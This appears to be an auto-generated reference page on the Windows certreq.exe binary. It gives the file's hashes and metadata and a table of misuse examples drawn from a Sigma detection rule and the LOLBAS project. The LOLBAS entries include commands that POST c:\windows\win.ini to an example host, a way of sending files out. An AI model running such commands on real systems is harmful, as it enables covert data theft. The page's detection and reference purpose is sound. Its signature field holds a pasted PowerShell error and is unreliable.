certreq.exe
- File Path:
C:\windows\system32\certreq.exe - Description: CertReq.exe
Screenshot
Hashes
| Type | Hash |
|---|---|
| MD5 | 4880B02DCFFE654496BD4A1FFEA522A6 |
| SHA1 | 1CE25B5CB40CCE0EFAD553D1C8D03C670F74D1D9 |
| SHA256 | 1A1A92010AAEF7107236879A992B3ACBF666F406AD063E1D3BB42D986D55F546 |
| SHA384 | 0113B5CD7A07150E7C11D1A0EFA692DDFA6596C5EEC494E0FD0994F04FF974424F3430A6830D818B467DA3E9BEC559EE |
| SHA512 | C478311B3D3AA964741F726B0BFDF71D1C6F92D791586599DB266EDCF57669C8B03612CE06E2458923D0EFB9A3F5762C399C41D398E550F36350060E56AE4A90 |
| SSDEEP | 6144:xUJwZwgr3CZKasZSzR147rMO9GfD7y8M0vDGf1j5WaplRnJfSuap:xZfrgSC48O9GfD7yLwDGl5Wa5Jf |
Signature
- Status: The file C:\windows\system32\certreq.exe is not digitally signed. You cannot run this script on the current system. For more information about running scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=135170
- Serial: ``
- Thumbprint: ``
- Issuer:
- Subject:
File Metadata
- Original Filename: CertReq.exe.mui
- Product Name: Microsoft Windows Operating System
- Company Name: Microsoft Corporation
- File Version: 6.3.9600.16384 (winblue_rtm.130821-1623)
- Product Version: 6.3.9600.16384
- Language: English (United States)
- Legal Copyright: Microsoft Corporation. All rights reserved.
Possible Misuse
The following table contains possible examples of certreq.exe being misused. While certreq.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.
| Source | Source File | Example | License |
|---|---|---|---|
| sigma | proc_creation_win_susp_certreq_download.yml | title: Suspicious Certreq Command to Download |
DRL 1.0 |
| sigma | proc_creation_win_susp_certreq_download.yml | description: Detects a suspicious certreq execution taken from the LOLBAS examples, which can be abused to download (small) files |
DRL 1.0 |
| sigma | proc_creation_win_susp_certreq_download.yml | - https://lolbas-project.github.io/lolbas/Binaries/Certreq/ |
DRL 1.0 |
| sigma | proc_creation_win_susp_certreq_download.yml | Image\|endswith: '\certreq.exe' |
DRL 1.0 |
| LOLBAS | Certreq.yml | Name: CertReq.exe |
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| LOLBAS | Certreq.yml | - Command: CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt |
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| LOLBAS | Certreq.yml | - Command: CertReq -Post -config https://example.org/ c:\windows\win.ini and show response in terminal |
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| LOLBAS | Certreq.yml | - Path: C:\Windows\System32\certreq.exe |
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| LOLBAS | Certreq.yml | - Path: C:\Windows\SysWOW64\certreq.exe |
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| LOLBAS | Certreq.yml | - IOC: certreq creates new files |
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| LOLBAS | Certreq.yml | - IOC: certreq makes POST requests |
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| LOLBAS | Certreq.yml | - Link: https://dtm.uk/certreq |
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